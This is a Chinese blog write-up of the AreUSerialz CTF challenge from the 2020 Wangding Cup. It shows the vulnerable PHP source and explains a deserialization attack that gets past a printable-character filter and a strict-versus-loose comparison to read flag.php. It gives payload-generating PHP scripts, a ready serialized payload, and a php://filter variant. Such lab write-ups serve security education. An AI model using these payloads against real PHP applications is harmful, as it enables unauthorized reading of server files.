2021-8-7[网鼎杯 2020 青龙组]AreUSerialz的wp(经典反序列化例题)

本文解析了如何在buu平台上通过代码审计和魔术方法技巧,避开is_valid()和destruct()的限制,成功序列化并操作FileHandler类,获取flag。关键步骤包括修改属性可见性及利用op的强弱比较差异。
摘要由CSDN通过智能技术生成

[网鼎杯 2020 青龙组]AreUSerialz

目录

题目:在buu平台上,题目传送门

解题过程:

两个防护:

is_valid()

destruct()魔术方法

本地进行序列化操作


题目:在buu平台上

解题过程:

代码审计


   
   
  1. <?php
  2. include( "flag.php");
  3. highlight_file( __FILE__);
  4. class FileHandler {
  5. protected $op;
  6. protected $filename;
  7. protected $content;
  8. function __construct() {
  9. $op = "1";
  10. $filename = "/tmp/tmpfile";
  11. $content = "Hello World!";
  12. $this->process();
  13. }
  14. public function process() {
  15. if( $this->op == "1") {
  16. $this->write();
  17. } else if( $this->op == "2") {
  18. $res = $this->read();
  19. $this->output($res);
  20. } else {
  21. $this->output( "Bad Hacker!");
  22. }
  23. }
  24. private function write() {
  25. if( isset( $this->filename) && isset( $this->content)) {
  26. if(strlen(( string) $this->content) > 100) {
  27. $this->output( "Too long!");
  28. die();
  29. }
  30. $res = file_put_contents( $this->filename, $this->content);
  31. if($res) $this->output( "Successful!");
  32. else $this->output( "Failed!");
  33. } else {
  34. $this->output( "Failed!");
  35. }
  36. }
  37. private function read() {
  38. $res = "";
  39. if( isset( $this->filename)) {
  40. $res = file_get_contents( $this->filename);
  41. }
  42. return $res;
  43. }
  44. private function output($s) {
  45. echo "[Result]: <br>";
  46. echo $s;
  47. }
  48. function __destruct() {
  49. if( $this->op === "2")
  50. $this->op = "1";
  51. $this->content = "";
  52. $this->process();
  53. }
  54. }
  55. function is_valid($s) {
  56. for($i = 0; $i < strlen($s); $i++)
  57. if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
  58. return false;
  59. return true;
  60. }
  61. if( isset($_GET{ 'str'})) {
  62. $str = ( string)$_GET[ 'str'];
  63. if(is_valid($str)) {
  64. $obj = unserialize($str);
  65. }
  66. }

经过分析,这个题目需要传入一个序列化之后的类对象,并且要绕过两层防护:

两个防护

is_valid()

要求我们传入的str的每个字母的ascii值在32和125之间。因为protected属性在序列化之后会出现不可见字符\00*\00,不符合上面的要求。

绕过方法:因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符

destruct()魔术方法

op==="2",是强比较,


   
   
  1. function __destruct() {
  2. if( $this->op === "2")
  3. $this->op = "1";
  4. $this->content = "";
  5. $this->process();
  6. }

 而在process()函数中,op=="2"是弱比较


   
   
  1. public function process() {
  2. if( $this->op == "1") {
  3. $this->write();
  4. } else if( $this->op == "2") {
  5. $res = $this->read();
  6. $this->output($res);
  7. } else {
  8. $this->output( "Bad Hacker!");
  9. }
  10. }

 绕过方法:可以使传入的op是数字2,从而使第一个强比较返回false,而使第二个弱比较返回true.


   
   
  1. <?php
  2. $op= 2;
  3. $oop= '2';
  4. if($op=== "2")
  5. echo "数字2与字符2强比较成功";
  6. else
  7. echo "数字2与字符2强比较失败";
  8. echo "\n";
  9. if($op== "2")
  10. echo "数字2与字符2弱比较成功";
  11. else
  12. echo "数字2与字符2弱比较失败";
  13. ?>

本地进行序列化操作


   
   
  1. <?php
  2. class FileHandler {
  3. public $op = 2;
  4. public $filename = "flag.php";
  5. public $content = "1"; //因为destruce函数会将content改为空,所以content的值随意(但是要满足is_valid()函数的要求)
  6. }
  7. $a = new FileHandler();
  8. $b = serialize($a);
  9. echo $b;
  10. ?>

序列化结果:

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}
   
   

payload

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}
   
   

f12中返回flag。

也可以用伪协议


   
   
  1. <?php
  2. class FileHandler {
  3. public $op = 2;
  4. public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
  5. public $content = "2";
  6. }
  7. $a = new FileHandler();
  8. $b = serialize($a);
  9. echo $b;
  10. ?>

得到base64编码后,解码即可得到flag。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值